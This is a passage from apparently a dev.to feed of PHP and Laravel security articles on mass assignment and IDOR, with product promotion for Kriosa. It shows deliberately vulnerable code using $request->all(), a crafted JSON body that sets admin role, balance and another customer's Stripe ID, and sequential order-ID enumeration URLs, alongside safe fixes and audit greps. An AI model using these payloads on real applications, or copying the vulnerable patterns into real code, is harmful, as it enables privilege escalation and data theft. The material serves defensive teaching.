            &lt;span class="s1"&gt;'email'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                &lt;span class="s1"&gt;'required'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s1"&gt;'unique:users,email,'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;UpdateProfileRequest&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/profile'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'success'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Profile updated.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;$request-&amp;gt;validated()&lt;/code&gt; only returns fields that have validation rules defined. No rule means no field regardless of what the user submitted. Validation and field filtering happen in the same place. This is the cleanest and most maintainable approach.&lt;/p&gt;

&lt;h2&gt;
  
  
  API Mass Assignment — The Most Dangerous Context
&lt;/h2&gt;

&lt;p&gt;API endpoints are where mass assignment is most commonly overlooked. When a form submits extra fields developers sometimes notice because they can see the HTML. When a JSON API body contains extra fields there is no visible form to audit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous API endpoint&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/api/profile'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Updated'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'auth:sanctum'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends a crafted JSON body:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"John"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"john@example.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"is_admin"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"balance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;99999&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stripe_customer_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cus_someone_elses_id"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the model has no &lt;code&gt;$fillable&lt;/code&gt; protection every field gets written to the database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The safe API pattern using &lt;code&gt;only()&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/api/profile'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;only&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Updated'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'auth:sanctum'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Or with a Form Request:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;UpdateProfileRequest&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Updated'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Auditing Your Existing Codebase
&lt;/h2&gt;

&lt;p&gt;Run these searches now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Plain PHP — dynamic property assignment from request data&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"foreach (&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;_POST"&lt;/span&gt; app/
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;_POST&lt;/span&gt;&lt;span class="se"&gt;\[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; app/

&lt;span class="c"&gt;# Laravel — update() or create() with all() highest risk&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"-&amp;gt;update(&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;request-&amp;gt;all())"&lt;/span&gt; app/
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"::create(&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;request-&amp;gt;all())"&lt;/span&gt; app/
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"-&amp;gt;update(&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;request-&amp;gt;input())"&lt;/span&gt; app/

&lt;span class="c"&gt;# Laravel — forceFill usage  needs manual review&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"forceFill"&lt;/span&gt; app/

&lt;span class="c"&gt;# Laravel — models with no fillable or guarded&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rL&lt;/span&gt; &lt;span class="s2"&gt;"fillable&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;guarded"&lt;/span&gt; app/Models/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each result is a potential mass assignment vulnerability that deserves manual review.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Mass Assignment Checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;For plain PHP:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never use &lt;code&gt;foreach ($_POST as $key =&amp;gt; $value)&lt;/code&gt; to map request data to object properties&lt;/li&gt;
&lt;li&gt;Always define an explicit allowlist of fields before processing request data&lt;/li&gt;
&lt;li&gt;Never assume parameterized queries protect against mass assignment they solve a different problem&lt;/li&gt;
&lt;li&gt;Review every place request data is mapped to database columns or object properties&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For Laravel:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Every model that accepts user input has &lt;code&gt;$fillable&lt;/code&gt; defined&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$guarded = []&lt;/code&gt; does not appear in any production model without scrutiny&lt;/li&gt;
&lt;li&gt;Every controller uses &lt;code&gt;$request-&amp;gt;only()&lt;/code&gt; or &lt;code&gt;$request-&amp;gt;validated()&lt;/code&gt; never &lt;code&gt;$request-&amp;gt;all()&lt;/code&gt; with &lt;code&gt;update()&lt;/code&gt; or &lt;code&gt;create()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Every API endpoint filters fields explicitly JSON bodies are as dangerous as form submissions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;forceFill()&lt;/code&gt; is only used with controlled internal data  never with user input&lt;/li&gt;
&lt;li&gt;Sensitive fields are explicitly absent from &lt;code&gt;$fillable&lt;/code&gt; &lt;code&gt;role&lt;/code&gt;, &lt;code&gt;is_admin&lt;/code&gt;, &lt;code&gt;balance&lt;/code&gt;, &lt;code&gt;email_verified_at&lt;/code&gt;, &lt;code&gt;deleted_at&lt;/code&gt;, &lt;code&gt;stripe_customer_id&lt;/code&gt;, &lt;code&gt;created_at&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Form Requests are used for complex update operations &lt;code&gt;$request-&amp;gt;validated()&lt;/code&gt; is the default pattern
&lt;code&gt;$fillable&lt;/code&gt; is used alongside authorization mass assignment protection and access control are separate concerns&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Where Kriosa Fits
&lt;/h2&gt;

&lt;p&gt;Mass assignment vulnerabilities are prevented at the application layer by allowlists in plain PHP and by &lt;code&gt;$fillable&lt;/code&gt;, &lt;code&gt;$request-&amp;gt;only()&lt;/code&gt;, and Form Requests in Laravel. A request containing extra fields looks identical to a legitimate request at the network level.&lt;/p&gt;

&lt;p&gt;What Kriosa adds is visibility into the reconnaissance that precedes exploitation. Attackers probing for mass assignment vulnerabilities often send systematic requests testing which fields get written, checking responses for evidence that extra fields were accepted, scanning error messages for column names that reveal the database structure.&lt;/p&gt;

&lt;p&gt;That probing behavior not the exploit itself is what a request-level security layer can surface. Unusual field patterns in update requests, systematic testing of sensitive field names, and behavioral anomalies that precede a successful mass assignment attack can appear in the XAI dashboard before the attacker finds what they are looking for.&lt;/p&gt;

&lt;p&gt;Prevention through allowlists and Form Requests stops the breach. Detection through behavioral monitoring tells you someone is looking for one.&lt;/p&gt;

&lt;p&gt;In Prolify every client review workflow update goes through a Form Request. &lt;code&gt;$request-&amp;gt;validated()&lt;/code&gt; is the only way data reaches the model. In belle-full every order update uses scoped queries and explicit field filtering. Neither application processes &lt;code&gt;$request-&amp;gt;all()&lt;/code&gt; directly.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;kriosa.com&lt;/strong&gt;&lt;br&gt;
Install it: &lt;code&gt;composer require kriosa-ai/kriosa-php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Series So Far
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=php-logs-sql-injection-attack-6a5fa71fd80b8" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=url-encoding-breaks-php-security-checks" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=decode-bomb-url-decoding-vulnerability" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=parameterized-queries-sql-injection-prevention" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend" rel="noopener noreferrer"&gt;Article 6&lt;/a&gt;: How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=file-upload-security-in-php-and-laravel-the-file-that-isn-t-what-it-claims-to-be" rel="noopener noreferrer"&gt;Article 7&lt;/a&gt;: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=path-traversal-php-directory-escape" rel="noopener noreferrer"&gt;Article 8&lt;/a&gt;: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=command-injection-php-exec-attack-surface" rel="noopener noreferrer"&gt;Article 9&lt;/a&gt;: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=broken-access-control-laravel" rel="noopener noreferrer"&gt;Article 10&lt;/a&gt;: Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=secrets-management-laravel-env" rel="noopener noreferrer"&gt;Article 11&lt;/a&gt;: Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=session-security-php-developers-get-wrong" rel="noopener noreferrer"&gt;Article 12&lt;/a&gt;: Session security in PHP — what most developers get wrong&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=rate-limiting-laravel-php-brute-force" rel="noopener noreferrer"&gt;Article 13&lt;/a&gt;: Rate limiting in Laravel and PHP — how to stop brute force before it starts&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=security-headers-php-laravel-6a82e46e2e41a" rel="noopener noreferrer"&gt;Article 14&lt;/a&gt;: Security headers in PHP and Laravel — the lines that harden every response&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=idor-php-laravel-insecure-direct-object-reference" rel="noopener noreferrer"&gt;Article 15&lt;/a&gt;: IDOR in PHP and Laravel — when changing one number exposes someone else's data&lt;/li&gt;
&lt;li&gt;Article 16: This article — mass assignment in PHP and Laravel and when user input becomes more than it should&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>php</category>
      <category>webdev</category>
      <category>security</category>
      <category>laravel</category>
    </item>
    <item>
      <title>IDOR in PHP and Laravel — When Changing One Number Exposes Someone Else's Data</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 21 Aug 2026 13:58:19 +0000</pubDate>
      <link>https://dev.to/kriosa/idor-in-php-and-laravel-when-changing-one-number-exposes-someone-elses-data-2l6m</link>
      <guid>https://dev.to/kriosa/idor-in-php-and-laravel-when-changing-one-number-exposes-someone-elses-data-2l6m</guid>
      <description>&lt;p&gt;This is the fifteenth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=php-logs-sql-injection-attack-6a5fa71fd80b8" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=url-encoding-breaks-php-security-checks" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=decode-bomb-url-decoding-vulnerability" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=parameterized-queries-sql-injection-prevention" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend" rel="noopener noreferrer"&gt;Article 6&lt;/a&gt;: How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=file-upload-security-in-php-and-laravel-the-file-that-isn-t-what-it-claims-to-be" rel="noopener noreferrer"&gt;Article 7&lt;/a&gt;: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=path-traversal-php-directory-escape" rel="noopener noreferrer"&gt;Article 8&lt;/a&gt;: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=command-injection-php-exec-attack-surface" rel="noopener noreferrer"&gt;Article 9&lt;/a&gt;: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=broken-access-control-laravel" rel="noopener noreferrer"&gt;Article 10&lt;/a&gt;: Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=secrets-management-laravel-env" rel="noopener noreferrer"&gt;Article 11&lt;/a&gt;: Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=session-security-php-developers-get-wrong" rel="noopener noreferrer"&gt;Article 12&lt;/a&gt;: Session security in PHP — what most developers get wrong&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=rate-limiting-laravel-php-brute-force" rel="noopener noreferrer"&gt;Article 13&lt;/a&gt;: Rate limiting in Laravel and PHP — how to stop brute force before it starts&lt;/li&gt;
&lt;li&gt;Article 14: Security headers in PHP and Laravel — the lines that harden every response&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;IDOR does not require exploiting a buffer overflow. It does not require reverse engineering binary code. It does not require any technical skill beyond knowing how to change a number in a URL. And it has caused some of the most significant data breaches in recent history.&lt;/p&gt;

&lt;h2&gt;
  
  
  What IDOR Actually Is
&lt;/h2&gt;

&lt;p&gt;Insecure Direct Object Reference is when your application exposes a reference to an internal object  a database record, a file, a user account — and does not verify that the requesting user is authorized to access that specific object.&lt;/p&gt;

&lt;p&gt;Your application shows a user their order:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;https://yoursite.com/orders/1042
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The number 1042 is the direct object reference. It points directly to a row in your database. The application checked that the user is logged in. It did not check that order 1042 belongs to this user.&lt;/p&gt;

&lt;p&gt;An attacker changes the number:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;https://yoursite.com/orders/1043
https://yoursite.com/orders/1044
https://yoursite.com/orders/1045
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each one returns a different customer's order. The attacker enumerates every order in your system by incrementing a number. No hacking required. No exploit needed. Just arithmetic.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why IDOR Is So Common
&lt;/h2&gt;

&lt;p&gt;IDOR is part of Broken Access Control  the number one vulnerability on the OWASP Top 10 since the 2021 edition. It is so common because it comes from a natural but wrong assumption:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The user is logged in so they must be allowed to see this.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Authentication proves identity. It says nothing about authorization. A logged-in user is not automatically allowed to access every resource in your system only the resources that belong to them or that they have been explicitly granted access to.&lt;/p&gt;

&lt;p&gt;Most developers check authentication. Most developers forget authorization at the object level. The code looks correct because the authentication check is there. The vulnerability exists because the ownership check is not.&lt;/p&gt;

&lt;p&gt;This is also where request-level security monitoring becomes useful. Authorization prevents the unauthorized request from succeeding but monitoring can reveal that someone is repeatedly attempting those requests. A single failed request to &lt;code&gt;/orders/1043&lt;/code&gt; may be normal. Hundreds of sequential requests across &lt;code&gt;/orders/1043&lt;/code&gt;, &lt;code&gt;/orders/1044&lt;/code&gt;, &lt;code&gt;/orders/1045&lt;/code&gt; and beyond are a very different signal — the kind of behavioral pattern Kriosa is designed to surface.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where IDOR Appears in PHP Applications
&lt;/h2&gt;

